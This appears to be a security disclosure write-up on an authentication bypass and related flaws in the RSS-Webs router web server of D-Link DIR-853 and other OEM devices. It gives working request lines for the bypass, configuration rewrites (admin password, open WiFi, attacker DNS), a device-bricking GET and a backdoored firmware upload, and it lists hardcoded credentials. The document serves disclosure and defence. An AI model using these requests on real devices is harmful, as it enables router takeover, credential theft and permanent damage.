Multiple vulnerabilities in the RSS-Webs management interface. This is the GoAhead-derived HTTP server on port 8008 used in routers from D-Link, Comtrend, Sercomm, and other OEMs that ship the Ralink/MediaTek SDK.
The attribution is based on leaked SVN paths
svn://10.28.105.100:800/root/wireless/CPE/WiFi/Ralink/MTK7621A/...found in firmware artifacts.
The findings are mostly based around exposed paths that are not login gated and an auth bypass.
- Background
- Finding summary
- The auth bypass chain
- Other findings
- Internet exposure
- Lessons Learned
- Disclosure
- Tools
- References
The D-Link DIR-853 A1 router runs firmware DIR_853_A1_FW110B04.BIN (V1.10B04), released in 2018. The firmware is a MIPS32 little-endian image with uClibc. Inside is a GoAhead-derived HTTP server called RSS-Webs that listens on port 8008. It handles the device setup wizard, configuration pages, firmware upgrades, and a growing pile of debug and test pages.
The same RSS-Webs codebase ships across multiple OEMs. The shared ancestor is the Ralink/MediaTek SDK. Comtrend AR-5319 (RSS-Webs/1.4b76p9) and Sercomm NexusLink 3120 (RSS-Webs/1.4b71) use the same server with the same auth model, the same test pages, and the same bugs.
| Area | Impact |
|---|---|
| URL normalization | %2f bypasses the /rssui/ authentication gate. |
| Session handling | GKey can be harvested from bypassed pages and reused as a query parameter. |
| Configuration writes | finish.asp accepts sensitive configuration changes through GET parameters. |
| Firmware management | /goform/rssfwupgd.xgi and /goform/formUploadFileTest.xgi expose unauthenticated firmware paths. |
| Credential storage | RSS config values can be decrypted with logic shipped in production test pages. |
| Operational exposure | SVN metadata, verbose logs, hardcoded credentials, and old components increase attack surface. |
These three vulnerabilities work together. An attacker with network access to port 8008 can read and write the full device configuration without knowing the admin password.
The RSS-Webs auth handler matches URL prefixes against /rssui/ before deciding whether to require authentication. It matches the raw, undecoded URL. Encode the forward slash as %2f and the prefix check fails. The ASP handler decodes it normally and serves the page.
GET /rssui%2fmain.asp HTTP/1.1 # 200 OK, bypasses auth
GET /rssui/main.asp HTTP/1.1 # 302 redirect to login
This gives unauthenticated access to every page under /rssui/. That includes config pages, firmware upgrade interfaces, and JavaScript files with embedded secrets.
This path does not require the admin password. It does not submit the normal
/rssui/public/checkuser.xgi login form. The bypassed page renders server-side
ASP tags such as <% Generate_Key(); %> and returns a fresh thAuthKeyVal in
the response.
Redirect on authenticated page access
Page is rendered when %2f is used in place of /
Every protected page contains a JavaScript variable with the current session key:
var thAuthKeyVal="04344af0";
var theAuthKeyName="GKey";
You can pass this key as a query parameter on any URL:
GET /rssui/config.asp?GKey=04344af0 HTTP/1.1
The server treats it as authenticated. Combined with the auth bypass trick, you harvest a GKey from the bypassed page and use it everywhere.
In other words, the exploit path is: request /rssui%2fmain.asp, read
thAuthKeyVal, then request protected pages with ?GKey=<value>. The device
password is not needed for this chain.
Login page in browser
GKey extraction and URL generation using tools/rss_pwn.py
Pasting the provided url with ?GKey= parameter gives valid session
The setup wizard saves configuration through a GET navigation to finish.asp:
location.href = "finish.asp?lang=en?" + txt;Where txt is a query string of RSS variable assignments. No CSRF token, no current-password check, no POST requirement. With a valid GKey you can change any configuration value:
GET /rssui/finish.asp?lang=en?rss_DevicePwd=newpass123&GKey=04344af0
GET /rssui/finish.asp?lang=en?rss_Wl2_WirelessName=OpenWiFi&rss_Wl2_EncryptionMode=None&GKey=04344af0
GET /rssui/finish.asp?lang=en?rss_Upl_DNS=attacker-dns.com&GKey=04344af0
Writable parameters include the admin password, PPPoE credentials, WiFi SSID and keys, and WAN DNS servers.
The repo includes tools/rss_pwn.py. It automates the full chain: establish a
session, extract the GKey, read the config page, parse 37+ variables, decrypt
passwords, and format the output. See the tools/rss_pwn.py
header for usage.
python3 tools/rss_pwn.py read 192.168.1.1:8008
The tool also supports raw dump output (for scripting) and writes new config values via the finish.asp endpoint.
Config values like the admin password, WiFi keys, and PPPoE credentials are
base64-encoded and encrypted with a custom stream cipher. The encryption
scheme and key are defined in rssencry_test.asp, a test page shipped in the
production firmware:
function RssDataEncrypt(str, key) {
// Stream cipher: each key byte determines XOR, reflection, or shift
// Two-layer encoding with random mask
// First layer: Rss> header + 4-char random mask + encrypted data
// Second layer: entire payload re-encrypted with main key
}
The encryption key is device-specific and exposed in the config page as
RssVarEncryptKey. Decryption is a direct reversal: base64-decode, apply the
same RssDataEncrypt function with the device key, extract the inner payload
and random mask, decrypt again with the derived subkey. The function is its
own inverse (symmetric).
When the tool runs, decrypted values appear next to their encrypted form:
device_passwd TldDYhNEHUEVFjM8NQ== → 12345
wireless_pwd TldDYhUTQBxde2NbYnMdew== → gocubsgo
ppp_password TldDYhcZQRcrJHBha19wYXNzWWQ= → pppoe_passwd
Encrypted values shorter than 9 bytes (the 8-byte header with no data payload) indicate an empty or unset value.
The firmware ships .svn/entries files inside the web root. They reveal the internal build server URL, developer name, repository UUID, and project paths.
GET /rssui/public/.svn/entries
svn://10.28.105.100:800/root/wireless/CPE/WiFi/Ralink/MTK7621A/...
Developer: hujian
The GoAhead server logs every request to /tmp/OT_log.txt. The log is world readable and captures URLs, cookies, parameters, and response codes.
Several CGI binaries build shell commands with sprintf and pass them to
system(), popen(), or twsystem(). User-controlled data reaches these format
strings. The fw_url is one example.
ifconfig %s | grep "inet addr" | cut -d':' -f2 | cut -d' ' -f 1
fota --action download --fw-url %s --fw-path %s --progress-file %s &
mtd_write -r -w write /tmp/firmware.img Kernel &
Every key binary on the device is built without PIE, stack canaries, RELRO, or NX stack. Exploiting a memory corruption bug is easier than it should be.
Default NVRAM values include admin credentials for the web UI (admin/twsz@2018) and telnet (admin/dlink). The boot script reads them from NVRAM and creates a UID 0 shell account.
The init script starts telnetd unconditionally. The comment says "for telnet debugging." It does not check the telnetEnabled NVRAM value first.
lighttpd 1.4.24 (2009), dnsmasq 2.78 (2016), ProFTPD 1.3.1 (2007), Samba 3.0.24 (2007), MiniUPnPd 1.6 (2015), MiniDLNA 1.0.24 (2015), OpenSSL 1.0.2j (2016), BusyBox 1.12.1 (2007). D-Link may have backported fixes. The version banners suggest otherwise.
The server reflects the Host header into the Location header of redirect responses. This is a known GoAhead vulnerability through version 2.5.0.
curl -v -H "Host: attacker.com" http://device:8008/
The redirect target becomes http://attacker.com/home.htm.
The file rssencry_test.asp contains the complete RssDataEncrypt
implementation with the default key a1f3cf7ac2151db93d526e761fb05d14.
Production devices use a device-specific key from RssVarEncryptKey, but the
algorithm is identical. The encryption is obfuscation. Anyone who can view a
config page can decrypt the passwords.
/goform/formUploadFileTest.xgi requires no authentication. A GET request with
no body triggers the firmware upgrade pipeline. The handler saves an empty file
to /upld.bin and passes it to mtd_write on the kernel partition. Writing
nothing to the kernel flash bricks the device permanently.
GET /goform/formUploadFileTest.xgi HTTP/1.1 # Device crashes
This was validated on a live D-Link DIR-853. The device stopped responding after the request and required physical recovery.
The same endpoint accepts multipart POST requests. You can upload a crafted firmware image and the device writes it to the kernel partition:
POST /goform/formUploadFileTest.xgi HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="filename"; filename="backdoor.bin"
[crafted MIPS kernel + rootfs]
--xxx--
The GoAhead handler does not check the image format, signature, or size before passing it to mtd_write. An attacker who can build a MIPS little-endian kernel with a backdoored rootfs gains persistent root access. Factory reset may not remove the modified kernel.
/goform/rssfwupgd.xgi is also unauthenticated. It returns upgrade status and
accepts fw_url and action parameters. The fw_url is passed directly into
a fota shell command.
- Vendor SDK code can create cross-vendor vulnerabilities. The same RSS-Webs behavior appears across D-Link, Comtrend, Sercomm, and other OEM builds, so a bug in the shared SDK becomes an ecosystem issue rather than a single-device issue.
- Authentication checks must operate on the same normalized path that later
routing code uses. RSS-Webs checked the raw URL path, then later decoded and
served it, which made
%2fenough to cross the authentication boundary. - Session keys are not secrets if authenticated pages can be read without
authentication. Embedding
GKeyin client-side JavaScript turned a page-read bypass into full configuration access. - Configuration changes should not be performed through unauthenticated or tokenless GET requests. Sensitive actions such as password, DNS, and WiFi changes need authorization checks, CSRF protection, and method constraints at the handler layer.
- Test and debug code should not ship in production firmware. The
rsstestpages, encryption test page, firmware upload test handler, SVN metadata, and verbose request logs all exposed implementation details or dangerous actions. - Firmware-write paths need strict validation before reaching flash tools.
Upload handlers should enforce authentication, size limits, image format
checks, signatures, target partition controls, and safe failure behavior
before invoking
mtd_writeor equivalent utilities. - Obfuscation is not credential protection. The RSS encryption scheme and keys were available to anyone who could read the UI, making stored passwords and network credentials recoverable.
- End-of-life status does not remove risk. Devices remain deployed long after vendor support ends, and exposed management services can remain reachable on LANs or the public internet.
- Disclosure reports should separate confirmed behavior from likely shared SDK behavior. The SVN paths, matching endpoints, and matching bugs strongly support a Ralink/MediaTek SDK origin, but claims should still distinguish direct evidence from inference.
These vulnerabilities were responsibly disclosed to the vendors. D-Link declined to fix the vulnerability because it only affects EOL devices. No response from Comtrend was received.
- CVE-2019-16645: GoAhead Web Server Host Header Injection
- CVE-2021-42342: GoAhead Multipart Auth Bypass
- NIST SP 800-216: IoT Device Cybersecurity Guidance
- Firmware extracted using unblob and custom SHRS decryption routines
This research is provided for defensive security, vulnerability coordination, and authorized testing only. Do not test against devices or networks you do not own or have explicit permission to assess. The authors are not responsible for misuse of this information or tooling.





